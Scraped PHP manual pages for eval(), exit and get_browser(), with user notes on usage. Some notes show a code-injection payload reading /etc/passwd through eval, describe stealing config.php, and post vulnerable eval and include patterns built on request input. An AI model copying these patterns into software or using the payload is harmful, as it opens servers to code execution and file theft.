ob_start();
// Do eval()
$check = eval($code);
$output = ob_get_contents();
ob_end_clean();
// Send output or report errors
if ($check === true) {
  echo $output;
} else {
  // Manually parse output for errors and
  // generate usable information for the user
  // especially content of error-lines.
  $pattern = '/^\s*Parse error\s*:(.+) in (.+) on line (\d+)\s*$/m';
  etc ...
}
jkuckartz1984 at hotmail dot com 29-Jan-2006 04:01
Might you have to do eval in if statements, you will find it's quite some task to make it work.

The only way to make it work is to make a reference to the eval'd variable. This example will show the different usage of eval in if-statements. It simply becomes clear that an eval() in an if() is not working as you want to.

<?php
$total2=5;
$total3=0;
$i=2;
if (eval("\$total".$i.";")) {
    echo "eval: total2 is full<br>";
} else {
    echo "eval: total2 is empty<br>";
}
// returns "empty"
// eval without the ";" will generate a warning

$str="\$refer=&\$total".$i.";";
eval($str);
if ($refer) {
    echo "eval: total2 is full<br>";
} else {
    echo "eval: total2 is empty<br>";
}
// returns "full"
?>
Sarangan Thuraisingham 20-Jan-2006 05:47
The eval function can be misused for Cross Site Scripting(XSS) as well. Les say we have this very trivial page that allows a user to enter a text and see it formated using different styles. If the site designer was lazy and used eval function to come up with somethig like this:
<?php
$mytxt = $_GET["text"];
$strFormats = array( '<h1>$mytxt</h1>',
                      '<h2>$mytxt</h2>',
                      '<span class="style1">$mytxt</span>'); //so on

foreach ($strFormats as $style){
    eval("echo $style;");
}
?>
This page could be a target for XSS, because user input is not validated. So the hacker could enter any valid PHP commands and the site will execute it. Imagine what could happen if the injected script reads files like config.php and passed it to the hacker's site.

If the file permissions are not set correctly, the injected script could modify the current script. A form's action parameter can be set to a hacker's site or worse every transaction could be secretly posted to another website from within the server. Injected script could be something like this:
<?php
$filename=basename($_SERVER['PHP_SELF']);
$fp = fopen($filename, "a");
$str = echo "<!-- XSS Vulnerability-->"; // could be any PHP command
fwrite($fp, $str);
fclose($fp);
?>

The golden rule is don't trust the user. Always validate data from the client side.
jurgen at person dot be 18-Dec-2005 09:27
eval() is used to protect (read: hide) source code. A well known way to encrypt some php code is security through obscurity.  Someone used eval(base64_encode(".....")); - which basically had 10-16 nested calls to eval(base64_encode()) inside the data.

E.g.
<?php
eval(gzinflate(base64_decode('AjHRawIHG1ypUpudV.....')));
?>

However this can be decoded in this way:
<?php
    echo "\nDECODE nested eval(gzinflate()) by DEBO Jurgen <jurgen@person.be>\n\n";

    echo "1. Reading coded.txt\n";
    $fp1      = fopen ("coded.txt", "r");
    $contents = fread ($fp1, filesize ("coded.txt"));
    fclose($fp1);

    echo "2. Decoding\n";
    while (preg_match("/eval\(gzinflate/",$contents)) {
        $contents=preg_replace("/<\?|\?>/", "", $contents);
        eval(preg_replace("/eval/", "\$contents=", $contents));
    }

    echo "3. Writing decoded.txt\n";
    $fp2 = fopen("decoded.txt","w");
    fwrite($fp2, trim($contents));
    fclose($fp2);
?>
onlyphp 24-Nov-2005 06:59
To simulate the register_globals setting in php.ini, you must put it in the top of your php page:

<?php
function rg() {
  $ar = array($_POST, $_GET, $_SESSION, $_SERVER);
  foreach($ar as $ar_) {
    foreach($ar_as $key => $value) {
      eval("\$" . $key . " = \"" . $value . "\";");
    }
  }
}
?>
matt at mattsoft dot net 10-Sep-2005 10:23
to load a php file to a variable then execute it, try this

<?php
$code=file_get_contents("file.php");
$code=str_replace('<'.'?php','<'.'?',$code);
$code='?'.'>'.trim($code).'<'.'?';
eval($code);
?>

using < ?php within eval does not work, but < ? does. in case there is html in the file loaded, the script doesn't remove the < ?php and ? >, but insted adds ? > and < ? around the code loaded from the file. it's simple and works very well. I also broke up the tags in the 3rd and 4th lines of code to keep from having problems if the lines are commented out.
sadi at unicornsoftbd dot com 03-Sep-2005 06:49
I m going to give you my recent exploration about eval. I think you dont need all those complex functions using regex to work HTML in your code. when ever you call eval(), php thinks that it is within <? ?> tags. so all the problem rises. to solve the problem just close your php tag at first of the HTML string, then write the HTML string and then start the php tag.
this is some thing like:
<?php
$teststr="?><html><body>this is the test</body></html><?php";
eval($teststr);
?>

i think this will work for you. at least this worked for me. if you find any problem with this please reply
zcox522 at gmail dot com 17-Aug-2005 12:03
If you send headers after you call the eval() function, you may get this error:

PHP Error: (2) Cannot modify header information - headers already sent by (output started at something...)

In this case, surround your call to eval() with calls to some ob functions:

<?php
$eval = "some code you want to execute";

ob_start();
eval($eval);
ob_end_clean();
?>
admiral [at] nuclearpixel [dot] com 15-Aug-2005 01:02
This function will take any combination of HTML and (properly opened and closed)PHP that is given in a string, and return a value that is the HTML and the RESULT of that PHP code and return them both combined in the order that they were originally written.

I tried using both the eval_html(gave me carp about using 's and "s in the HTML) and html_eval2(gave me the results of the PHP first, then all of the HTML afterwards) posted by the other users on this function's notes, but for some reason, neither of them would really work the way I had understood that they would work,(or in the case of some of my code, work at all)

So I combined the best of what I saw in both, and created eval_html3

<?php

function my_eval($arr) {
    return ('echo stripslashes("'.addslashes($arr[0]).'");');
}

function eval_html3($string) {
    $string = '<?php ?>'.$string.'<?php ?>';
    $string = str_replace( '?>', '', str_replace( array( '<?php', '<?' ), '', preg_replace_callback( "/\?>(.*?)(<\?php|<\?)/", "my_eval", $string ) ) );
    return eval($string);
}

?>

Good luck!
jphansen at uga dot edu 08-Aug-2005 12:43
I used eval() to restore a user's session data. I stored $_SESSION to a field in a database as

<?php
addslashes(var_export($_SESSION, TRUE))
?>

To restore it, I executed this code:

<?php
eval("\$_SESSION = $session;");
// $session being the first line of code above
?>

Voila! Session restored.

Without eval(), $_SESSION = $session would have resulted in $_SESSION being a string instead of an array.
the dank 29-Jul-2005 04:26
<?php
$foo1 = "the good,<br>";
$foo2 = "the bad,<br>";
$foo3 = "the ugly.";

for ($i=1; $i <=3; $i++)
{
     eval("\$_SESSION['myVar$i'] = \$foo".$i.";");
}

//use below to show what's in session:

echo "<h3>SESSION</h3>";
echo "<table border=1 width=50%>";
echo "<tr bgcolor=\"#3399FF\">";
echo "<td><b><font color=\"#FFFFFF\">Variable Name</font></b></td>";
echo "<td><b><font color=\"#FFFFFF\">Value</font></b></td></tr>";
while(list($key, $val) = each($_SESSION))
{
    echo "<tr><td>$key</td><td><b>$val</b></td></tr>";
}
echo "</table>";
die();

/*---------------------------------------------------------
Prints:
myVar1    the good,
myVar2    the bad,
myVar3    the ugly.
*/
?>
privat at timo-damm dot de 29-Jul-2005 01:03
Using the html_eval() some notes above I experienced problems related to *dirty* html. This function is less critical:

<?php
function html_eval2($string) {
  return preg_replace_callback("/<\?php(.*?)\?>/","my_eval",$string);
}

function my_eval($arr) {
  return eval($arr[1]);
}
?>

Timo
andrejkw 23-Jun-2005 05:50
To use eval output as a variable without the user seeing the output, use this:

<?php

ob_start();
eval("whatever you want");
$eval_buffer = ob_get_contents();
ob_end_clean();

echo $eval_buffer;

?>

Everything that eval produces will now be stored inside $eval_buffer.
Jesse 18-Jun-2005 01:25
a cool way to use eval is to convert strings into variable names.
this is a subsitute for using arrays.
look at this code:
<?php
for($a=1; $a<=5; $a++){
    eval("$"."variable".$a."=".$a.";");
}
?>
this will create variables called variable1, variable2, and so on, that are equal to 1, 2, and so on.
i recently used this to help a friend make a Flash game that sent variables like that to PHP.
1413 at blargh dot com 09-Jun-2005 12:58
Just a note when using eval and expecting return values - the eval()'ed string must do the returning.  Take the following example script:

<?php

function ReturnArray()
{
  return array("foo"=>1, "bar"=>2);
}

$test = eval("ReturnArray();");
print("Got back $test (".count($test).")\n");

$test = eval("return ReturnArray();");
print("Got back $test (".count($test).")\n");

?>

You will get back:

Got back  (0)
Got back Array (2)

This ran me afoul for a little bit, but is the way eval() is supposed to work (eval is evaluating a new PHP script).
jtraenkner 10-Apr-2005 09:11
Using eval inside loops is very slow, so try avoiding code like
<?php
for($i=0;$i<10;$i++) {
    eval('do_something()');
}
?>

If you absolutely have to, include the entire loop in eval:
<?php
eval('for($i=0;$i<10;$i++) {'.
    'do_something();'.
    '}');
?>
tom 28-Mar-2005 11:59
Eval can't be used as a callback function so if you want to use the eval function name dynamically use this simple work around:

<?php

if ($function_name == "eval")
{
 eval($stuff);
}
else
{
 $function_name($stuff);
}

?>
Ben Grabkowitz 26-Mar-2005 06:57
The eval function becomes incredibly useful when dealing with static class members and variables.

For instance:

Lets say you have 3 classes; Foo, BarA and BarB, where BarA and BarB are children of Foo.

Now lets also say that both BarA and BarB contain a static member function called getDataSource().

To call getDataSource() you would have to use the syntax:

<?php
BarA::getDataSource();
BarB::getDataSource();
?>

But lets say you need to access getDataSource() from inside class Foo during an instance of either BarA or BarB.

You can use eval to do something like this:

<?php
eval('$dataSource=' . get_class($this) . '::getDataSource();');
?>
francois at bonzon dot com 27-Feb-2005 07:20
An obvious security reminder, which I think wasn't yet mentioned here. Special care is required when variables entered by the user are passed to the eval() function. You should validate those user inputs, and really make sure they have the format you expect.

E.g., if you evaluate math expressions with something like

<?php
  eval("\$result = $equation;");
?>

without any check on the $equation variable, a bad user could enter in the $equation field

""; echo file_get_contents('/etc/passwd')

- or whatever PHP code he wants! - which would evaluate to

<?php
  $result = ""; echo file_get_contents('/etc/passwd');
?>

and seriously compromising your security!
avenger at buynet dot com dot br 08-Feb-2005 08:52
This is a small code that uses 'eval' with a foreach (maybe 'for' loop), to fill variables. This is very useful in some hard situations:

<html><title>for loop</title><body><p align=center>
 <?php
  $thing = array("a","b","c");
  $a = "bah" ; $b = "bleh2"; $c = "bluh3";
  print("Vars b4: $a, $b, $c. ");
  foreach ( $thing as $thingy ) {
   print("$thingy, ");
   eval("\$$thingy = \"$thingy\";");
  };
  print("vars aft: $a, $b, $c.");
 ?>
</p></body></html>
arnico at c4 dot lv 21-Dec-2004 03:28
Dynamically loading php pages!
In michael example ( 02-Sep-2004 05:16) is one big problem. Try to load php page with this content :
-----------------------
<?php

$a = 1;

if($a == 1){

?>
<br />ir?<br />
<?php

}

?>
------------------------

Ups? :) maybe easier way is to do something like that ? please comments :
<?php

function eval_html($string) {

   $string = preg_replace("/\?>(.*?)(<\?php|<\?)/si", "echo \"\\1\";",$string);
   $string = str_replace("<?php", "", $string);
   $string = str_replace("?>", "", $string);
   return eval($string);
}

$filename = "page.php";
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
fclose($handle);

echo eval_html($contents);

?>

The html source will be replaced with echo. and problem is gone :) or there are other problems ? please comments.

P.S. sorry about my bad English
mahaixing at hotmail dot com 08-Oct-2004 08:49
When using Dynamic Proxy design pattern we must create a class automaticly. Here is a sample code.

<?php
$clazz = "class SomeClass { var \$value = 'somevalue'; function show() { echo get_class(\$this);}}";

eval($clazz);

$instance = new SomeClass;

// Here output 'somevalue';
echo $instance->value;

echo "<br>";

//Here output 'someclass'
$instance->show();
?>
evildictaitor at hotmail dot com 15-Aug-2004 01:00
Be careful when using eval() on heavy usage sites in PHP 4.0+ as it takes vastly longer to activate due to the limitations of the Zend engine.

The Zend engine changes the PHP to a binary structure at the START of the file, and then parses it. Every time an eval is called, however, it has to reactivate the parsing procedure and convert the eval()'d code into usable binary format again.

Basically, if you eval() code, it takes as long as calling a new php page with the same code inside.
12-Jul-2004 09:37
Kepp the following Quote in mind:

If eval() is the answer, you're almost certainly asking the
wrong question. -- Rasmus Lerdorf, BDFL of PHP
die
exit
Misc. Functions


Output a message and terminate the current script

eval
get_browser
Misc. Functions
PHP Manual

exit

(PHP 4, PHP 5)

exit — Output a message and terminate the current script

Description

void exit ([ string $status ] )
void exit ( int $status )

Terminates execution of the script. Shutdown functions and object destructors will always be executed even if exit() is called.

Parameters

status

If status is a string, this function prints the status just before exiting.

If status is an integer, that value will be used as the exit status and not printed. Exit statuses should be in the range 0 to 254, the exit status 255 is reserved by PHP and shall not be used. The status 0 is used to terminate the program successfully.

Note: PHP >= 4.2.0 does NOT print the status if it is an integer.

Return Values

No value is returned.

Examples

Example #1 exit() example

<?php

$filename = '/path/to/data-file';
$file = fopen($filename, 'r')
    or exit("unable to open file ($filename)");

?>

Example #2 exit() status example

<?php

//exit program normally
exit;
exit();
exit(0);

//exit with an error code
exit(1);
exit(0376); //octal

?>

Example #3 Shutdown functions and destructors run regardless

<?php
class Foo
{
    public function __destruct()
    {
        echo 'Destruct: ' . __METHOD__ . '()' . PHP_EOL;
    }
}

function shutdown()
{
    echo 'Shutdown: ' . __FUNCTION__ . '()' . PHP_EOL;
}

$foo = new Foo();
register_shutdown_function('shutdown');

exit();
echo 'This will not be output.';
?>

The above example will output:

 Shutdown: shutdown()
 Destruct: Foo::__destruct()

Notes

Note: Because this is a language construct and not a function, it cannot be called using variable functions

Note:

This language construct is equivalent to die().

See Also

  • register_shutdown_function() - Register a function for execution on shutdown

User Contributed Notes

nicoladinh at gmail dot com 02-Dec-2010 12:09
Calling to exit() will flush all buffers started by ob_start() to default output.
dexen dot devries at gmail dot com 03-Nov-2010 05:54
If you want to avoid calling exit() in FastCGI as per the comments below, but really, positively want to exit cleanly from nested function call or include, consider doing it the Python way:

define an exception named `SystemExit', throw it instead of calling exit() and catch it in index.php with an empty handler to finish script execution cleanly.

<?php

// file: index.php
class SystemExit extends Exception {}
try {
   /* code code */
}
catch (SystemExit $e) { /* do nothing */ }
// end of file: index.php

// some deeply nested function or .php file

if (SOME_EXIT_CONDITION)
   throw new SystemExit(); // instead of exit()

?>
vincent dot laag at gmail dot com 24-Sep-2010 12:51
Don't use the  exit() function in the auto prepend file with fastcgi (linux/bsd os).
It has the effect of leaving opened files with for result at least a nice  "Too many open files  ..." error.
matt at serverboy dot net 23-Mar-2010 12:11
It should be noted that if building a site that runs on FastCGI, calling exit will generate an error in the server's log file. This can quickly fill up.

Also, using exit will diminish the performance benefit gained on FastCGI setups. Instead, consider using code like this:

<?php

if( /* error case */ )
    echo "Invalid request";
else {
    /* The rest of your application */
}
?>

I've also seen developers get around this issue with FastCGI by wrapping their code in a switch statement and using breaks:

index.php:
<?php

switch(true) {
    case true:
        require('application.php');
}

?>

application.php:
<?php

if($x > $y) {
    echo "Sorry, that didn't work.";
    break;
}

// ...

?>

It does carry some overhead, but compared to the alternative, it does the job well.
albert at removethis dot peschar dot net 05-May-2009 11:50
jbezorg at gmail proposed the following:

<?php

if($_SERVER['SCRIPT_FILENAME'] == __FILE__ )
  header('Location: /');

?>

After sending the `Location:' header PHP _will_ continue parsing, and all code below the header() call will still be executed.  So instead use:

<?php

if($_SERVER['SCRIPT_FILENAME'] == __FILE__)
{
  header('Location: /');
  exit;
}

?>
jbezNULLorg at gmNULLail dot com 24-Feb-2009 12:26
If you are retroactively going through included files to prevent them from being accessed, you can use the following.

<?php
if($_SERVER['SCRIPT_FILENAME'] == __FILE__ )
    header('location: /'); // or exit();

// rest of code

?>
void a t informance d o t info 26-Oct-2008 02:11
To rich dot lovely at klikzltd dot co dot uk:

Using a "@" before header() to suppress its error, and relying on the "headers already sent" error seems to me a very bad idea while building any serious website.

This is *not* a clean way to prevent a file from being called directly. At least this is not a secure method, as you rely on the presence of an exception sent by the parser at runtime.

I recommend using a more common way as defining a constant or assigning a variable with any value, and checking for its presence in the included script, like:

in index.php:
<?php
define ('INDEX', true);
?>

in your included file:
<?php
if (!defined('INDEX')) {
   die('You cannot call this script directly !');
}
?>

BR.

Ninj
rich dot lovely at klikzltd dot co dot uk 19-Jul-2008 06:24
usefull feature:

@header("location: path/to/home/page") and exit();

EG:

We have a "modular" website, with common header and footer files, and different content modules, eg photos, usually accessed via index.php?p=photos

index.php:
<?php include "head.php";
include $_GET['p'] . ".php";  //Change this - SECURITY!
include "foot.php";
?>

photos.php:
<?php
@header("location: index.php?p=photos") and exit();

//Code to display photos etc
?>

If someone tries to access photos.php, which doesn't produce a full html page by definition, the header directive sends them to the full version, returns true, and therefore runs the exit() function.

If they go in normally, the header function should die with the "headers already sent" error, which is supressed by the @ and returns false, preventing the exit statement from running due to lazy execution.
dan 11-Jul-2007 03:11
In relation to the below comment, you may find that using the following may be more appropriate:

<?php
# ... user has pressed log out, cookies have been wiped, etc.

// Stay on the same page at time of logout (useful if a page is also available to anyone who isn't logged in
header ("Location: http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']);

?>

Of course $_SERVER['PHP_SELF'] can be omitted if you wish to redirect to the root directory of the site (http://www.example.com) or a path of your choosing can be used instead.

Alternatively, if you've a solid system implemented and logged out users can access the page too, you can continue with showing the page without using exit() or header().
Roumen Semov 16-Feb-2006 11:54
Please note in PHP "exit(0)" or simply "exit" returns true.
Any other value but zero will return false. This is good to know in case you are writing command-line php scripts where you need the result of the php script to determine if the next script will run. Example:
shell> ./my_php_script && echo "It ran successfully!"
If you know my_php_script can break somewhere you could do a conditional with an "exit(-1)" and then if the script breaks the command after the && will not execute.
nospam at mydomain dot com 27-Sep-2004 02:12
Using return instead of exit is to prefer when you want the script that you have included inside another script to die but continue to execute the main script.
// Radcliff
emils at tvnet dot lv 23-Aug-2003 08:14
Note, that using exit() will explicitly cause Roxen webserver to die, if PHP is used as Roxen SAPI module. There is no known workaround for that, except not to use exit(). CGI versions of PHP are not affected.
mbostrom at paragee dot com 26-Feb-2003 12:45
In PHP 4.3.1 (and possibly 4.3.0), running scripts from the command line works a lot better.  This is probably because 4.3.x has a whole new CLI mode.

Specifically, exit status is now returned (to the shell) as you would expect.  This is a godsend for writing embedded email processing scripts, as much email infrastructure (fetchmail, qmail, mutt, etc.) is dependant upon correctly returned status codes, and the inability to return a status code (as in PHP 4.2.x) is an insurmountable obstacle.

$_SERVER["argv"] is also always available in 4.3.x, I think, whereas in 4.2.x php.ini could prevent it from being available.

(On the downside, I had to ./configure --without-mysql in order to get 4.3.1 to compile on RedHat 8.0.  Otherwise there was what looked like a fatal compile warning (that I might also have been able to ignore somehow).

The "fatal warning" FYI:
ext/mysql/libmysql/my_tempnam.o: In function `my_tempnam':
ext/mysql/libmysql/my_tempnam.c:103: the use of `tempnam' is dangerous, better use `mkstemp'

Changing the code from tempnam to mkstemp would probably not be overly complicated, but it is non-trivial.)
shaun at NOshatSPAM dot net 09-Aug-2002 04:13
return may be preferable to exit in certain situations, especially when dealing with the PHP binary and the shell.

I have a script which is the recipient of a mail alias, i.e. mail sent to that alias is piped to the script instead of being delivered to a mailbox. Using exit in this script resulted in the sender of the email getting a delivery failure notice. This was not the desired behavior, I wanted to silently discard messages which did not satisfy the script's requirements.

After several hours of trying to figure out what integer value I should pass to exit() to satisfy sendmail, I tried using return instead of exit. Worked like a charm. Sendmail didn't like exit but it was perfectly happy with return. So, if you're running into trouble with exit and other system binaries, try using return instead.
iamfast at tampabay dot rr dot com 13-Jul-2002 08:12
If you are working with images or something of the sort that is not html, and use auto appending, call exit before you close your php tag, so that the footer is not included, corrupting the end of the file.
--Nate
devinemke at devinemke dot com 11-Jan-2002 12:38
If you are using templates with numerous includes then exit() will end you script and your template will not complete (no </table>, </body>, </html> etc...).  Rather than having complex nested conditional logic within your content, just create a "footer.php" file that closes all of your HTML and if you want to exit out of a script just include() the footer before you exit().

for example:

include ('header.php');
blah blah blah
if (!$mysql_connect) {
echo "unable to connect";
include ('footer.php');
exit;
}
blah blah blah
include ('footer.php');
eval
get_browser
Misc. Functions


Tells what the user's browser is capable of

exit
__halt_compiler
Misc. Functions
PHP Manual

get_browser

(PHP 4, PHP 5)

get_browser — Tells what the user's browser is capable of

Description

mixed get_browser ([ string $user_agent [, bool $return_array = false ]] )

Attempts to determine the capabilities of the user's browser, by looking up the browser's information in the browscap.ini file.

Parameters

user_agent

The User Agent to be analyzed. By default, the value of HTTP User-Agent header is used; however, you can alter this (i.e., look up another browser's info) by passing this parameter.

You can bypass this parameter with a NULL value.

return_array

If set to TRUE, this function will return an array instead of an object.

Return Values

The information is returned in an object or an array which will contain various data elements representing, for instance, the browser's major and minor version numbers and ID string; TRUE/FALSE values for features such as frames, JavaScript, and cookies; and so forth.

The cookies value simply means that the browser itself is capable of accepting cookies and does not mean the user has enabled the browser to accept cookies or not. The only way to test if cookies are accepted is to set one with setcookie(), reload, and check for the value.

Changelog

Version | Description
4.3.2 | The optional parameter return_array was added.

Examples

Example #1 Listing all information about the users browser

<?php
echo $_SERVER['HTTP_USER_AGENT'] . "\n\n";

$browser = get_browser(null, true);
print_r($browser);
?>

The above example will output something similar to:

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3

Array
(
    [browser_name_regex] => ^mozilla/5\.0 (windows; .; windows nt 5\.1; .*rv:.*) gecko/.* firefox/0\.9.*$
    [browser_name_pattern] => Mozilla/5.0 (Windows; ?; Windows NT 5.1; *rv:*) Gecko/* Firefox/0.9*
    [parent] => Firefox 0.9
    [platform] => WinXP
    [browser] => Firefox
    [version] => 0.9
    [majorver] => 0
    [minorver] => 9
    [cssversion] => 2
    [frames] => 1
    [iframes] => 1
    [tables] => 1
    [cookies] => 1
    [backgroundsounds] =>
    [vbscript] =>
    [javascript] => 1
    [javaapplets] => 1
    [activexcontrols] =>
    [cdf] =>
    [aol] =>
    [beta] => 1
    [win16] =>
    [crawler] =>
    [stripper] =>
    [wap] =>
    [netclr] =>
)

Notes

Note:

In order for this to work, your browscap configuration setting in php.ini must point to the correct location of the browscap.ini file on your system.

browscap.ini is not bundled with PHP, but you may find an up-to-date » php_browscap.ini file here.

While browscap.ini contains information on many browsers, it relies on user updates to keep the database current. The format of the file is fairly self-explanatory.

User Contributed Notes

meduza 27-Dec-2011 01:48
I stopped trying to detect the browser name and the browser's version, due to the non standard user-agents, is impossible to cover all the possible browsers, and cover only the most used ones is not good.
I only detect the platform, the engine and the version, that cover a lot of possible browsers and let me code based on that, for example, the engine gecko, covers firefox, seamonkey and all the gecko based browsers.

this is a example piece of code taken from my own, is maybe incomplete but as example is good, to detect the engines.

<?php
/****** browser engine detection **************/
//browsers
define("UNKNOWN", 0);
define("TRIDENT", 1);
define("GECKO", 2);
define("PRESTO", 3);
define("WEBKIT", 4);
define("VALIDATOR", 5);
define("ROBOTS", 6);

if(!isset($_SESSION["info"]['browser'])) {
    $_SESSION["info"]['browser']['engine'] = UNKNOWN;
    $_SESSION["info"]['browser']['version'] = UNKNOWN;
    $_SESSION["info"]['browser']['platform'] = 'Unknown';

    $navigator_user_agent = ' ' . strtolower($_SERVER['HTTP_USER_AGENT']);

    if (strpos($navigator_user_agent, 'linux')) :
        $_SESSION["info"]['browser']['platform'] = 'Linux';
    elseif (strpos($navigator_user_agent, 'mac')) :
        $_SESSION["info"]['browser']['platform'] = 'Mac';
    elseif (strpos($navigator_user_agent, 'win')) :
        $_SESSION["info"]['browser']['platform'] = 'Windows';
    endif;

    if (strpos($navigator_user_agent, "trident")) {
        $_SESSION["info"]['browser']['engine'] = TRIDENT;
        $_SESSION["info"]['browser']['version'] = floatval(substr($navigator_user_agent, strpos($navigator_user_agent, "trident/") + 8, 3));
    }
    elseif (strpos($navigator_user_agent, "webkit")) {
        $_SESSION["info"]['browser']['engine'] = WEBKIT;
        $_SESSION["info"]['browser']['version'] = floatval(substr($navigator_user_agent, strpos($navigator_user_agent, "webkit/") + 7, 8));
    }
        elseif (strpos($navigator_user_agent, "presto")) {
        $_SESSION["info"]['browser']['engine'] = PRESTO;
        $_SESSION["info"]['browser']['version'] = floatval(substr($navigator_user_agent, strpos($navigator_user_agent, "presto/") + 6, 7));
    }
    elseif (strpos($navigator_user_agent, "gecko")) {
        $_SESSION["info"]['browser']['engine'] = GECKO;
        $_SESSION["info"]['browser']['version'] = floatval(substr($navigator_user_agent, strpos($navigator_user_agent, "gecko/") + 6, 9));
    }
    elseif (strpos($navigator_user_agent, "robot"))
        $_SESSION["info"]['browser']['engine'] = ROBOTS;
    elseif (strpos($navigator_user_agent, "spider"))
        $_SESSION["info"]['browser']['engine'] = ROBOTS;
    elseif (strpos($navigator_user_agent, "bot"))
        $_SESSION["info"]['browser']['engine'] = ROBOTS;
    elseif (strpos($navigator_user_agent, "crawl"))
        $_SESSION["info"]['browser']['engine'] = ROBOTS;
    elseif (strpos($navigator_user_agent, "search"))
        $_SESSION["info"]['browser']['engine'] = ROBOTS;
    elseif (strpos($navigator_user_agent, "w3c_validator"))
        $_SESSION["info"]['browser']['engine'] = VALIDATOR;
    elseif (strpos($navigator_user_agent, "jigsaw"))
        $_SESSION["info"]['browser']['engine'] = VALIDATOR;

echo "<pre>\n\nEngine detected: ".$_SESSION["info"]['browser']['engine'];
switch($_SESSION["info"]['browser']['engine']) {
    case UNKNOWN: echo " (unknown)";
    break;
    case TRIDENT: echo " (trident)";
    break;
    case GECKO: echo " (gecko)";
    break;
    case PRESTO: echo " (presto)";
    break;
    case WEBKIT: echo " (Webkit)";
    break;
    case VALIDATOR: echo " (validator)";
    break;
    case ROBOTS: echo " (robot)";
}
echo "\nEngine version: ".$_SESSION["info"]['browser']['version'];
echo "\nPlataform detected: ".$_SESSION["info"]['browser']['platform'];
echo " \n\n</pre>";
?>

PD: you can add more engines and use an array, I just removed that and put the most popular engines as example, and used elseif instead, this code maybe have errors because is just an example.
Anonymous 11-Jul-2011 06:52
For those of you using this function to target MSIE, a better idea maybe to use MSIE specific conditional comments. More info: <http://msdn.microsoft.com/en-us/library/ms537512%28VS.85%29.aspx>.

For example to indicate your disregard for users of MSIE 6 or earlier:

<!--[if lt IE 7]>It appears that you are using a <em>very</em> old version of MS Internet Explorer (MSIE). If you seriously want to continue to use MSIE, at least <a href="http://www.microsoft.com/windows/internet-explorer/">upgrade</a>.<![endif]-->
Simeon 09-Dec-2010 05:27
This code is for placing a box in the corner of IE user's page warning of the disregard the web-designer has for the website's appearance in IE.  Call the box with ie_box(). Style and position the box how you want using the iebox css class.

<?php
function using_ie()
{
    $u_agent = $_SERVER['HTTP_USER_AGENT'];
    $ub = False;
    if(preg_match('/MSIE/i',$u_agent))
    {
        $ub = True;
    }

    return $ub;
}

function ie_box() {
    if (using_ie()) {
        ?>
        <div class="iebox">
            This page is not designed for Intenet Explorer.  If you want to see this webpage as intended, please use a standards compliant browser, such as <a href="http://www.google.com/chrome">Google Chrome</a>.
        </div>
        <?php
    return;
    }
}
?>
ruudrp at live dot nl 28-Nov-2010 03:31
To my surprise I found that none of the get_browser alternatives output the correct name / version combination that I was looking for using Opera or Chrome. They either give the wrong name eg Safari when in fact it should be Chrome and if the ua string includes a version number as with the latest versions of Chrome and Opera the wrong number is reported. So I took bits and pieces from the various examples and combined them and added a check for version.

<?php
function getBrowser()
{
    $u_agent = $_SERVER['HTTP_USER_AGENT'];
    $bname = 'Unknown';
    $platform = 'Unknown';
    $version= "";

    //First get the platform?
    if (preg_match('/linux/i', $u_agent)) {
        $platform = 'linux';
    }
    elseif (preg_match('/macintosh|mac os x/i', $u_agent)) {
        $platform = 'mac';
    }
    elseif (preg_match('/windows|win32/i', $u_agent)) {
        $platform = 'windows';
    }

    // Next get the name of the useragent yes seperately and for good reason
    if(preg_match('/MSIE/i',$u_agent) && !preg_match('/Opera/i',$u_agent))
    {
        $bname = 'Internet Explorer';
        $ub = "MSIE";
    }
    elseif(preg_match('/Firefox/i',$u_agent))
    {
        $bname = 'Mozilla Firefox';
        $ub = "Firefox";
    }
    elseif(preg_match('/Chrome/i',$u_agent))
    {
        $bname = 'Google Chrome';
        $ub = "Chrome";
    }
    elseif(preg_match('/Safari/i',$u_agent))
    {
        $bname = 'Apple Safari';
        $ub = "Safari";
    }
    elseif(preg_match('/Opera/i',$u_agent))
    {
        $bname = 'Opera';
        $ub = "Opera";
    }
    elseif(preg_match('/Netscape/i',$u_agent))
    {
        $bname = 'Netscape';
        $ub = "Netscape";
    }

    // finally get the correct version number
    $known = array('Version', $ub, 'other');
    $pattern = '#(?<browser>' . join('|', $known) .
    ')[/ ]+(?<version>[0-9.|a-zA-Z.]*)#';
    if (!preg_match_all($pattern, $u_agent, $matches)) {
        // we have no matching number just continue
    }

    // see how many we have
    $i = count($matches['browser']);
    if ($i != 1) {
        //we will have two since we are not using 'other' argument yet
        //see if version is before or after the name
        if (strripos($u_agent,"Version") < strripos($u_agent,$ub)){
            $version= $matches['version'][0];
        }
        else {
            $version= $matches['version'][1];
        }
    }
    else {
        $version= $matches['version'][0];
    }

    // check if we have a number
    if ($version==null || $version=="") {$version="?";}

    return array(
        'userAgent' => $u_agent,
        'name'      => $bname,
        'version'   => $version,
        'platform'  => $platform,
        'pattern'    => $pattern
    );
}

// now try it
$ua=getBrowser();
$yourbrowser= "Your browser: " . $ua['name'] . " " . $ua['version'] . " on " .$ua['platform'] . " reports: <br >" . $ua['userAgent'];
print_r($yourbrowser);
?>
henda dot exe at gmail dot com 15-Aug-2010 09:27
Just a warning to anybody using the preg_match function to determine what browser the viewer is using. I found with google chrome the array contains the following entries;
(Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4

As I was using preg_match('/Chrome/i',$u_agent)) and preg_match('/Safari/i',$u_agent)) i found my script was reporting browsers as safari when infact the browser in use was google chrome.
Becheru Petru-Ioan 04-Apr-2010 03:39
IE has a nasty bug called the Peekaboo bug that affected my website. I found that printing a '_' before the html tag of the webpage gets rid of this nasty bug. Using code inspirated by comment bellow here is the  code that detects if a visitor is using internet explorer:

<?php
$known = array('msie', 'firefox', 'safari', 'webkit', 'opera', 'netscape', 'konqueror', 'gecko');
preg_match_all( '#(?<browser>' . join('|', $known) .
    ')[/ ]+(?<version>[0-9]+(?:\.[0-9]+)?)#', strtolower( $_SERVER[ 'HTTP_USER_AGENT ' ]), $browser );
if($browser['browser'][0]=='msie') print('_');
?>
Brinley Ang 02-Apr-2010 07:38
This is the latest format of the array returned from this call

Array
{
    [browser_name_regex] => ^mozilla/5\.0 (x11; .*; .*linux.*; .*; rv:1\.9\..*) gecko/.* firefox/3\.5.*$
    [browser_name_pattern] => Mozilla/5.0 (X11; *; *Linux*; *; rv:1.9.*) Gecko/* Firefox/3.5*
